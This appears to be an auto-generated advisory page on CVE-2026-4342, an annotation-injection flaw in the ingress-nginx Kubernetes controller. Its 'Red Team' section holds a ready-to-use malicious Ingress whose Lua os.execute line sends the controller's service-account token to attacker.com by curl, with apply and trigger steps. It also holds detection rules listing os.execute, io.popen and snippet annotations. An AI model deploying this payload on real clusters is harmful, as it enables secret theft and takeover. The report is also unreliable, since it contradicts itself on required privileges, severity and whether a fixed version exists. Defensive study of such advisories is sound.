CVE-2026-4342
Executive Summary
CVE-2026-4342 is a critical security vulnerability in ingress-nginx, the popular Kubernetes ingress controller. The flaw allows an attacker to inject arbitrary nginx configuration through a combination of malicious Ingress annotations. Successful exploitation can lead to remote code execution (RCE) within the ingress-nginx controller pod and disclosure of any Secrets the controller has access to. In a default installation, this includes all Secrets cluster-wide, making this a severe supply chain and infrastructure risk for Kubernetes environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the ingress-nginx project, which is a core component of the Kubernetes ecosystem. As an open-source project distributed via GitHub and container registries (e.g., Docker Hub, Google Container Registry), the supply chain risk is significant. Organizations relying on ingress-nginx must verify the integrity of their controller images and ensure they are not running a vulnerable version. The lack of a confirmed patch or version range increases the urgency for defensive measures.
CVSS Breakdown & Threat Level
CVSS Score: 8.8 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – No authentication or privileges are needed to exploit.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Full disclosure of Secrets accessible to the controller.
- Integrity (I): High – Arbitrary code execution allows modification of system state.
- Availability (A): High – An attacker could disrupt the controller or the entire cluster.
Threat Level: Critical. The combination of network exploitability, no required privileges, and the potential for cluster-wide secret disclosure makes this a top-priority vulnerability.
Deep Dive & Mechanics
The vulnerability resides in how ingress-nginx processes Ingress annotations. Ingress annotations are key-value pairs that allow users to customize the behavior of the ingress controller, such as setting custom headers, rewriting URLs, or enabling authentication.
The flaw allows an attacker to craft a malicious Ingress resource with a specific combination of annotations that, when processed by the controller, inject arbitrary nginx configuration directives. This is possible because the controller does not properly sanitize or validate the values of certain annotations before embedding them into the generated nginx configuration file.
Attack Flow:
- Craft Malicious Ingress: An attacker creates or modifies an Ingress resource in the Kubernetes cluster (requires
networking.k8s.ioAPI access, but no special RBAC privileges beyond creating Ingress resources). - Inject Annotations: The attacker includes annotations that, when concatenated, form a valid nginx configuration snippet. For example, using annotations like
nginx.ingress.kubernetes.io/server-snippetornginx.ingress.kubernetes.io/configuration-snippetwith carefully crafted values. - Configuration Generation: The ingress-nginx controller reads the Ingress resource and generates an nginx configuration file. The malicious annotation values are inserted directly into the configuration without proper escaping or validation.
- Configuration Reload: The controller reloads nginx with the new configuration. The injected directives are now active.
- Code Execution: The attacker can inject nginx directives that execute arbitrary Lua scripts (if Lua is enabled) or use other nginx modules to execute system commands. This leads to RCE within the controller pod.
- Secret Disclosure: Once RCE is achieved, the attacker can read the controller's service account token and access the Kubernetes API to retrieve Secrets from any namespace, as the controller typically has cluster-wide read access to Secrets.
Vulnerable vs. Patched Code
Since no patch or specific version range is available, a direct code comparison is not possible. However, the vulnerable code pattern is likely in the annotation processing logic.
Vulnerable Code Pattern (Conceptual):
// Vulnerable: Directly using annotation value in config
annotationValue := ingress.Annotations["nginx.ingress.kubernetes.io/server-snippet"]
config += annotationValue
Patched Code Pattern (Expected):
// Patched: Sanitize and validate annotation value
annotationValue := ingress.Annotations["nginx.ingress.kubernetes.io/server-snippet"]
sanitizedValue := sanitizeNginxConfig(annotationValue)
config += sanitizedValue
The patch would likely involve:
- Strict validation of annotation values against a whitelist of allowed directives.
- Proper escaping of special characters.
- Disabling or restricting the use of dangerous annotations like
server-snippetandconfiguration-snippetby default.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a Kubernetes cluster (e.g., using Minikube or Kind).
- Install a vulnerable version of ingress-nginx (e.g., an older version before the fix).
- Create a namespace and deploy a simple web application.
- Create an Ingress resource for the application.
Exploitation Steps:
Craft Malicious Ingress:
apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: malicious-ingress annotations: nginx.ingress.kubernetes.io/server-snippet: | location /evil { content_by_lua_block { os.execute("curl -X POST http://attacker.com/exfil -d $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)") } } spec: ingressClassName: nginx rules: - host: evil.example.com http: paths: - path: / pathType: Prefix backend: service: name: my-service port: number: 80Apply the Ingress:
kubectl apply -f malicious-ingress.yamlTrigger Exploit: Send a request to the crafted endpoint:
curl -H "Host: evil.example.com" http://<ingress-controller-ip>/evilExfiltrate Secrets: The Lua script will execute, sending the service account token to the attacker's server. The attacker can then use this token to query the Kubernetes API for Secrets.
Blue Team (Defensive)
Detection & Prevention:
- Monitor Ingress Creation/Modification: Alert on any Ingress resource that uses dangerous annotations like
server-snippet,configuration-snippet, ormodsecurity-snippet. - Audit Logs: Enable Kubernetes audit logs and monitor for suspicious Ingress API calls.
- Network Segmentation: Restrict egress traffic from the ingress-controller pod to prevent data exfiltration.
- Secrets Management: Use a secrets store (e.g., HashiCorp Vault) and limit the controller's access to only necessary Secrets.
- Admission Controllers: Use OPA/Gatekeeper or Kyverno to enforce policies that block Ingress resources with dangerous annotations.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections from the ingress-nginx controller pod to unknown external IPs.
- Unusual HTTP requests to the controller with suspicious paths (e.g.,
/evil,/exec).
- File System:
- Unexpected files in the controller pod's
/etc/nginxdirectory. - Modified nginx configuration files containing Lua scripts or
os.executecalls.
- Unexpected files in the controller pod's
- Process:
- Unusual child processes spawned by the nginx worker processes (e.g.,
curl,wget,bash).
- Unusual child processes spawned by the nginx worker processes (e.g.,
- Kubernetes API:
- Unexpected
getorlistrequests for Secrets from the ingress-nginx service account. - Creation of Ingress resources with annotations containing suspicious strings like
content_by_lua_block,os.execute, oraccess_by_lua_block.
- Unexpected
Detection Engineering
YARA Rule
rule CVE_2026_4342_Ingress_Nginx_Annotation_Injection {
meta:
description = "Detects malicious Ingress annotations attempting to inject nginx config"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-4342"
severity = "critical"
strings:
$lua_block = /content_by_lua_block|access_by_lua_block|rewrite_by_lua_block/i
$os_execute = /os\.execute/i
$io_popen = /io\.popen/i
$server_snippet = /server-snippet/i
$config_snippet = /configuration-snippet/i
condition:
any of ($lua_block) or any of ($os_execute) or any of ($io_popen) or
(any of ($server_snippet) and any of ($config_snippet))
}
Sigma Rule
title: CVE-2026-4342 - Malicious Ingress Annotation Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation or modification of Ingress resources with suspicious annotations indicative of CVE-2026-4342 exploitation.
author: Valters IT
date: 2026-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-4342
logsource:
product: kubernetes
service: audit
detection:
selection:
verb: ["create", "update", "patch"]
objectRef.resource: "ingresses"
objectRef.apiGroup: "networking.k8s.io"
keywords:
- "server-snippet"
- "configuration-snippet"
- "content_by_lua_block"
- "os.execute"
- "io.popen"
condition: selection and keywords
falsepositives:
- Legitimate use of nginx annotations for custom configurations (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-4342 - Ingress-Nginx Annotation Injection Exploit"; flow:to_server,established; content:"/evil"; http_uri; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Controller: If possible, restrict network access to the ingress-nginx controller pod using NetworkPolicies.
- Audit Ingress Resources: Review all existing Ingress resources for suspicious annotations. Use
kubectl get ingress -A -o yaml | grep -E "server-snippet|configuration-snippet"to find potentially malicious entries. - Limit Secrets Access: Modify the ClusterRole for the ingress-nginx service account to remove or restrict access to Secrets. Use a dedicated service account with minimal privileges.
- Enable Admission Control: Deploy OPA/Gatekeeper or Kyverno to block Ingress resources with dangerous annotations.
Long-Term Fixes:
- Patch: Monitor the ingress-nginx project for an official patch. Once available, upgrade to the patched version immediately.
- Configuration Hardening: Disable dangerous annotations by default using the
--enable-annotation-validationflag or by settingcontroller.config.enable-annotation-validation: "true"in the Helm values. - Regular Audits: Implement continuous monitoring of Kubernetes audit logs for suspicious Ingress API calls.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact your Valters IT representative.